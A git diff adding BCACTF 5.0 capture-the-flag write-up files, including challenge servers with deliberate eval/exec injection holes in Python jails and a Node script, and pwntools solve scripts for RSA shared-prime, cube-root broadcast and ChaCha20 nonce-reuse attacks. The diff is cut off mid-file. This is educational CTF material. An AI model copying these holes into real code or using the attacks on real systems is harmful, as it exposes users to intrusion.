diff --git a/content/ctf-writeups/_index.md b/content/ctf-writeups/_index.md index d2a6e56..bf903f8 100644 --- a/content/ctf-writeups/_index.md +++ b/content/ctf-writeups/_index.md @@ -4,6 +4,7 @@ toc: true --- {{< cards >}} + {{< card link="bcactf_5.0" title="BCACTF 5.0" icon="pencil">}} {{< card link="byu-ctf" title="BYUCTF'24" icon="pencil" >}} {{< card link="bo1lers-ctf" title="Bo1lersCTF'24" icon="pencil" >}} {{< card link="amateur-ctf" title="AmateurCTF'24" icon="pencil" >}} diff --git a/content/ctf-writeups/bcactf_5.0/_index.md b/content/ctf-writeups/bcactf_5.0/_index.md new file mode 100644 index 0000000..f764309 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/_index.md @@ -0,0 +1,10 @@ +--- +title: BCACTF 5.0 +toc: true +--- +{{< cards >}} + {{< card link="crypto" title="Crypto Writeups" icon="pencil" >}} + {{< card link="forensics" title="Forensics Writeups" icon="pencil" >}} + {{< card link="misc" title="Misc Writeups" icon="pencil" >}} + {{< card link="web" title="Web Writeups" icon="pencil" >}} +{{< /cards >}} \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/cinamon/website.png b/content/ctf-writeups/bcactf_5.0/assets/images/cinamon/website.png new file mode 100644 index 0000000..a737a9d Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/cinamon/website.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/23-719/23-719_1.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/23-719/23-719_1.png new file mode 100644 index 0000000..6540003 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/23-719/23-719_1.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/23-719/23-719_2.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/23-719/23-719_2.png new file mode 100644 index 0000000..fe16fb7 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/23-719/23-719_2.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/Manipulate_Spreadsheet_2/Manipulate_Spreadsheet_2_1.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/Manipulate_Spreadsheet_2/Manipulate_Spreadsheet_2_1.png new file mode 100644 index 0000000..ca22e28 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/Manipulate_Spreadsheet_2/Manipulate_Spreadsheet_2_1.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/Manipulate_Spreadsheet_2/Manipulate_Spreadsheet_2_2.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/Manipulate_Spreadsheet_2/Manipulate_Spreadsheet_2_2.png new file mode 100644 index 0000000..c25e7b6 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/Manipulate_Spreadsheet_2/Manipulate_Spreadsheet_2_2.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/Touch_Tone_Telephone/Touch_Tone_Telephone_1.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/Touch_Tone_Telephone/Touch_Tone_Telephone_1.png new file mode 100644 index 0000000..5b1ebac Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/Touch_Tone_Telephone/Touch_Tone_Telephone_1.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/desc.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/desc.png new file mode 100644 index 0000000..4e8786d Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/desc.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/peak.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/peak.png new file mode 100644 index 0000000..b580afa Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/peak.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/peak2.xcf b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/peak2.xcf new file mode 100644 index 0000000..6ed46c1 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/peak2.xcf differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/spec_melody.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/spec_melody.png new file mode 100644 index 0000000..d79f9c1 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/melody/spec_melody.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/sheep/sheep_1.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/sheep/sheep_1.png new file mode 100644 index 0000000..358e7b3 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/sheep/sheep_1.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/static/desc.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/static/desc.png new file mode 100644 index 0000000..bafe927 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/static/desc.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/static/frames.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/static/frames.png new file mode 100644 index 0000000..60551e6 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/static/frames.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/misc-miracle/image.png b/content/ctf-writeups/bcactf_5.0/assets/images/misc-miracle/image.png new file mode 100644 index 0000000..24ae706 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/misc-miracle/image.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/cookie/error.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/cookie/error.png new file mode 100644 index 0000000..2c40fb7 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/cookie/error.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/cookie/flag.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/cookie/flag.png new file mode 100644 index 0000000..653656c Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/cookie/flag.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/cookie/power.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/cookie/power.png new file mode 100644 index 0000000..6791abc Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/cookie/power.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/duck/flag.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/duck/flag.png new file mode 100644 index 0000000..a055ba0 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/duck/flag.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/duck/index.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/duck/index.png new file mode 100644 index 0000000..569c69b Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/duck/index.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/gring/flag.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/gring/flag.png new file mode 100644 index 0000000..c87e4fa Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/gring/flag.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/gring/index.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/gring/index.png new file mode 100644 index 0000000..04fd476 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/gring/index.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/gring/table.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/gring/table.png new file mode 100644 index 0000000..aeeb1f7 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/gring/table.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/nosql/index.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/nosql/index.png new file mode 100644 index 0000000..7daec2f Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/nosql/index.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/nosql/length.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/nosql/length.png new file mode 100644 index 0000000..24f3151 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/nosql/length.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/nosql/list.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/nosql/list.png new file mode 100644 index 0000000..38f838a Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/nosql/list.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/sea/header.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/sea/header.png new file mode 100644 index 0000000..31a79bf Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/sea/header.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/sea/source.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/sea/source.png new file mode 100644 index 0000000..1358d3f Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/sea/source.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/board.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/board.png new file mode 100644 index 0000000..0d65b81 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/board.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/flag.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/flag.png new file mode 100644 index 0000000..f6c4ac3 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/flag.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/index.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/index.png new file mode 100644 index 0000000..e10afbb Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/index.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/intercept.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/intercept.png new file mode 100644 index 0000000..9738303 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/intercept.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/modified.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/modified.png new file mode 100644 index 0000000..2db4be2 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/modified.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/response.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/response.png new file mode 100644 index 0000000..094454d Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/tictactoe/response.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/transcript/flag.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/transcript/flag.png new file mode 100644 index 0000000..622583b Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/transcript/flag.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/transcript/index.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/transcript/index.png new file mode 100644 index 0000000..7ecd0c9 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/transcript/index.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/user/flag.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/user/flag.png new file mode 100644 index 0000000..1afdfd5 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/user/flag.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/web/user/index.png b/content/ctf-writeups/bcactf_5.0/assets/images/web/user/index.png new file mode 100644 index 0000000..7ac6e05 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/web/user/index.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/Encryptor-Shop/server.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/Encryptor-Shop/server.py new file mode 100644 index 0000000..25549b7 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/Encryptor-Shop/server.py @@ -0,0 +1,37 @@ +from Crypto.Util.number import * + +p = getPrime(1024) +q = getPrime(1024) +r = getPrime(1024) +n = p * q +phi = (p - 1) * (q - 1) +e = 65537 +d = pow(e, -1, phi) + +print("Welcome to the enc-shop!") +print("What can I encrypt for you today?") + + +for _ in range(3): + message = input("Enter text to encrypt: ") + m = bytes_to_long(message.encode()) + c = pow(m, e, n) + print(f"Here is your encrypted message: {c}") + print(f"c = {c}") + print("Here is the public key for your reference:") + print(f"n = {n}") + print(f"e = {e}") + +print("Thank you for encrypting with us!") +print("In order to guarantee the security of your data, we will now let you view the encrypted flag.") +x=input("Would you like to view it? (yes or no) ") + +if x.lower() == "yes": + with open("flag.txt", "r") as f: + flag = f.read().strip() + m = bytes_to_long(flag.encode()) + n = p*r + c = pow(m, e, n) + print(f"Here is the encrypted flag: {c}") + print("Here is the public key for your reference:") + print(f"n = {n}") \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/Encryptor-Shop/solve.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/Encryptor-Shop/solve.py new file mode 100644 index 0000000..1a8d453 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/Encryptor-Shop/solve.py @@ -0,0 +1,29 @@ +from pwn import * + +r = remote('challs.bcactf.com',31704) +# context.log_level = 'debug' + +r.recvuntil(b': ') +r.sendline(b'\x00') +r.recvuntil(b'n = ') +n = int(r.recvline().decode().strip()) +for i in range(2): + r.recvuntil(b': ') + r.sendline(b'\x00') +r.recvuntil(b') ') +r.sendline(b'yes') +r.recvuntil(b': ') +c = int(r.recvline().decode().strip()) +r.recvuntil(b'n = ') +n2 = int(r.recvline().decode().strip()) + +import math +p = math.gcd(n,n2) +r = n2//p +phi = n2-p-r+1 +e = 65537 +d = pow(e,-1,phi) +m = pow(c,d,n2) + +from Crypto.Util.number import * +print(long_to_bytes(m).decode()) \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/RSAEncrypter/rsa_encrypter.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/RSAEncrypter/rsa_encrypter.py new file mode 100644 index 0000000..a3ab788 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/RSAEncrypter/rsa_encrypter.py @@ -0,0 +1,18 @@ +from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes + + +message = open("./flag.txt").read().encode('utf-8') + + +def encode(): + n = getPrime(512)*getPrime(512) + ciphertext = pow(bytes_to_long(message), 3, n) + return (ciphertext, n) + +print("Return format: (ciphertext, modulus)") +print(encode()) +sent = input("Did you recieve the message? (y/n) ") +while sent=='n': + print(encode()) + sent = input("How about now? (y/n) ") +print("Message acknowledged.") \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/RSAEncrypter/solve.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/RSAEncrypter/solve.py new file mode 100644 index 0000000..668b1bb --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/RSAEncrypter/solve.py @@ -0,0 +1,24 @@ +from pwn import * + +r = remote('challs.bcactf.com',31452) +# context.log_level = 'debug' + +r.recvuntil(b')\n') +ct1,n1 = eval(r.recvline().decode().strip()) +r.recvuntil(b') ') +r.sendline(b'n') +ct2,n2 = eval(r.recvline().decode().strip()) +r.recvuntil(b') ') +r.sendline(b'n') +ct3,n3 = eval(r.recvline().decode().strip()) +r.recvuntil(b') ') +r.sendline(b'y') + +from sympy.ntheory.modular import crt +m_cube = crt([n1,n2,n3] , [ct1,ct2,ct3])[0] + +from gmpy2 import iroot +m = int(iroot(m_cube,3)[0]) + +from Crypto.Util.number import * +print(long_to_bytes(m).decode()) \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/Touch_Tone_Telephone/script.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/Touch_Tone_Telephone/script.py new file mode 100644 index 0000000..5120cd9 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/Touch_Tone_Telephone/script.py @@ -0,0 +1,16 @@ +# Define the input string +input_string = "xpdReWEfno4BtvReUHxu8tBrknyUh128DolsWh1oz7cnUDygIxkCItws05vN8SdkFpTPRvVNUcRTtoS7zEUaf7ONI3n0UtVuIli9BcPfxECYmDI_4E3rJAUhYGV9wOFI" + +# Define the list of hexadecimal indices +hex_indices = [ + 0x61, 0x72, 0x6c, 0x38, 0x2b, 0x6f, 0x3e, 0x59, 0x6c, 0x38, + 0x19, 0x6f, 0x1d, 0x72, 0x0a, 0x45, 0x59, 0x6f, 0x6c, 0x2e, + 0x6f, 0x6c, 0x26, 0x2b, 0x02, 0x6f, 0x01, 0x26, 0x72, 0x53, + 0x39, 0x04 +] + +# Extract characters based on the indices +resultant_string = ''.join(input_string[index] for index in hex_indices) + +# Print the resultant string +print(resultant_string) diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/Touch_Tone_Telephone/solve.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/Touch_Tone_Telephone/solve.py new file mode 100644 index 0000000..341d3f7 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/Touch_Tone_Telephone/solve.py @@ -0,0 +1,15 @@ +# Define the mapping +mapping = { + '1': '0', '2': '1', '3': '2', 'A': '3', '4': '4', '5': '5', '6': '6', 'B': '7', + '7': '8', '8': '9', '9': 'A', 'C': 'B', '*': 'C', '0': 'D', '#': 'E', 'D': 'F' +} + +# The encoded string +encoded_str = ("47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7A6A23#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7AA653#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A83#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A1623#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7A4A53#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1A33#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A1A23#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7AAA83#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1A43#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#19B7B16453655B45666#6DA443B4B653655547B7B5A7B443B36C6#B85567A2A3A7446D6*BA5B67A26DB9AB6A6#5544B86B48B76C4A48B4BBBAA1A5B64#A75A646C46B1545153B6564#556A5354B46D5AABB945556266AB4D4#48AA6#A155B456B5486*68A8436A5166B7454A586044485DA445AAB349425567584B56A8BB4D4648") + +# Decode the string +decoded_str = ''.join(mapping.get(char, char) for char in encoded_str) + +bytes_obj = bytes.fromhex(decoded_str) +result_string = bytes_obj.decode("utf-8") +print(result_string) diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/cha-cha-slide/server.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/cha-cha-slide/server.py new file mode 100644 index 0000000..032bab6 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/cha-cha-slide/server.py @@ -0,0 +1,36 @@ +from Crypto.Cipher import ChaCha20 + +from os import urandom + +key = urandom(32) +nonce = urandom(12) + +secret_msg = urandom(16).hex() + +def encrypt_msg(plaintext): + cipher = ChaCha20.new(key=key, nonce=nonce) + return cipher.encrypt(plaintext.encode()).hex() + +print('Secret message:') +print(encrypt_msg(secret_msg)) + +print('\nEnter your message:') +user_msg = input() + +if len(user_msg) > 256: + print('\nToo long!') + exit() + +print('\nEncrypted:') +print(encrypt_msg(user_msg)) + +print('\nEnter decrypted secret message:') +decrypted_secret_msg = input() + +if len(decrypted_secret_msg) == len(secret_msg): + if decrypted_secret_msg == secret_msg: + with open('../flag.txt') as file: + print('\n' + file.read()) + exit() + +print('\nIncorrect!') diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/cha-cha-slide/solve.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/cha-cha-slide/solve.py new file mode 100644 index 0000000..dd82b00 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/cha-cha-slide/solve.py @@ -0,0 +1,17 @@ +from pwn import * +from Crypto.Util.number import * + +r = remote('challs.bcactf.com',31100) +context.log_level = 'debug' +r.recvuntil(b':\n') +ct = r.recvline().decode().strip() +payload = b'0'*(len(ct)//2) +xor2 = int.from_bytes(payload,'big') +ct = int(ct,16) +r.recvuntil(b':\n') +r.sendline(payload) +r.recvuntil(b':\n') +xor = int(r.recvline().decode().strip(),16) +pt = ct^xor^xor2 +r.sendline(long_to_bytes(pt)) +r.interactive() \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/cinamon/server.js b/content/ctf-writeups/bcactf_5.0/assets/scripts/cinamon/server.js new file mode 100755 index 0000000..1a9f9b0 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/cinamon/server.js @@ -0,0 +1,89 @@ +import { createHash, timingSafeEqual } from 'crypto' +import { spawn } from 'child_process' +import { readFileSync } from 'fs' +import { join } from 'path' + +import express from 'express' + +const PORT = 3000 + +const secretKey = readFileSync('secret-key.txt', 'utf-8') + +const app = express() + +app.set('view engine', 'ejs') + +app.use(express.urlencoded({ extended: true })) + +app.get('/', (_req, res) => { + res.render('index') +}) + +const safeCompare = (a, b) => { + a = Buffer.from(a, 'utf-8') + b = Buffer.from(b, 'utf-8') + + return a.length === b.length && timingSafeEqual(a, b) +} + +app.post('/execute', (req, res) => { + const { token, script } = req.body + + if (typeof token !== 'string' || typeof script !== 'string') { + return res.render('execute', { + error: 'Token and script must be provided and must be strings.' + }) + } + + if (!script.trim().length) { + return res.render('execute', { + error: 'Please provide a script to execute.' + }) + } + + const hash = createHash('sha256') + .update(secretKey) + .update(Buffer.from(script.replaceAll('\r\n', '\n'), 'binary')) + + if (!safeCompare(hash.digest('hex'), token)) { + return res.render('execute', { + error: 'Script token is invalid! ' + + 'Contact a Cinnamon Dynamics employee to get your script ' + + 'approved and receive a valid token for it.' + }) + } + + const child = spawn('deno', ['run', '--allow-read=.', '-'], { + cwd: join(process.cwd(), 'files'), + env: { ...process.env, NO_COLOR: 1 } + }) + + let stdout = '' + let stderr = '' + + child.stdout.on('data', data => stdout += data.toString('utf-8')) + child.stderr.on('data', data => stderr += data.toString('utf-8')) + + child.stdin.write(req.body.script) + child.stdin.end() + + let timedOut = false + + child.on('exit', exitCode => { + res.render('execute', { + error: timedOut ? 'Process timed out.' : null, + stdout: stdout.trim(), + stderr: stderr.trim(), + exitCode + }) + }) + + setTimeout(() => { + if (!child.killed) { + timedOut = true + child.kill('SIGKILL') + } + }, 1_000) +}) + +app.listen(PORT, () => console.log(`Server listening on port ${PORT}`)) diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/eslint.config.mjs b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/eslint.config.mjs new file mode 100644 index 0000000..ac3cb0a --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/eslint.config.mjs @@ -0,0 +1,31 @@ +import globals from "globals"; +import pluginJs from "@eslint/js"; + + +export default [ + {files: ["**/*.js"], languageOptions: {sourceType: "commonjs"}}, + {languageOptions: { globals: globals.browser }}, + pluginJs.configs.recommended, + { + rules: { + "no-unused-vars": "error", + "no-octal": "error", + "for-direction": "error", + "getter-return": "error", + "no-async-promise-executor": "error", + "no-compare-neg-zero": "error", + "no-cond-assign": "error", + "no-constant-condition": "error", + "no-control-regex": "error", + "no-dupe-args": "error", + "no-dupe-keys": "error", + "no-duplicate-case": "error", + "no-empty": "error", + "no-empty-character-class": "error", + "no-ex-assign": "error", + "no-extra-boolean-cast": "error", + "no-extra-semi": "error", + "no-invalid-regexp": "error", + } + } +]; \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/main.js b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/main.js new file mode 100644 index 0000000..04b1d65 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/main.js @@ -0,0 +1,53 @@ +const readline = require("readline"); +const fs = require("fs"); + +async function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +// thanks chatgpt +function printWithoutNewline(text) { + process.stdout.write(text); +} + +function prompt(question) { + const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + }); + + return new Promise((resolve) => { + rl.question(question, (answer) => { + rl.close(); + resolve(answer); + }); + }); +} +//end thanks chatgpt + +const flag = fs.readFileSync("flag.txt", "utf8"); + +async function run() { + const name = await prompt("What is your name?\n") ?? "Harry"; + const ans = await prompt("What is 55+22?\n") ?? "0"; + if (eval("Number(ans)") === 77) { + console.log("Correct!"); + console.log("Waiting for bits to flip..."); + for (let i = 0; i < 10; i++) { + printWithoutNewline("..."); + await sleep(300); + } + console.log("\n"); + if (eval(ans) === 63) { + console.log(`You made those bits flip?? You're a wizard ${name}! `); + console.log(`Here's your flag: ${flag}`); + } else { + console.log("You didn't make the bits flip. Too bad "); + } + } else { + console.log("wow you suck at math."); + } + process.exit(1); +} + +run(); \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/main.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/main.py new file mode 100644 index 0000000..6ef791e --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/main.py @@ -0,0 +1,27 @@ +def sanitize(letter): + print("Checking for contraband...") + return any([i in letter.lower() for i in BANNED_CHARS]) + +def end(): + print("Contraband letters found!\nMessages Deleted!") + exit() + +BANNED_CHARS = "gdvxfiyundmnet/\\'~`@#$%^&.{}0123456789" +flag = open('flag.txt').read().strip() + +print("Welcome to the prison's mail center") + +msg = input("\nPlease enter your message: ") + +while msg != "": + if sanitize(msg): + end() + + try: + x = eval(msg) + if len(x) != len(flag): end() + print(x) + except Exception as e: + print(f'Error occured: {str(e)}; Message could not be sent.') + + msg = input("\nPlease enter your message: ") \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/pyjail1/deploy.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/pyjail1/deploy.py new file mode 100644 index 0000000..c63f3ba --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/pyjail1/deploy.py @@ -0,0 +1,15 @@ +def sanitize(letter): + print("Checking for contraband...") + return any([i in letter.lower() for i in BANNED_CHARS]) + +BANNED_CHARS = "gdvxftundmnt'~`@#$%^&*-/.{}" +flag = open('flag.txt').read().strip() + +print("Welcome to the prison's mail center") +msg = input("Please enter your message: ") + +if sanitize(msg): + print("Contraband letters found!\nMessage Deleted!") + exit() + +exec(msg) \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/pyjail1/main.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/pyjail1/main.py new file mode 100644 index 0000000..1c50d36 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/pyjail1/main.py @@ -0,0 +1,27 @@ +def sanitize(letter): + print("Checking for contraband...") + return 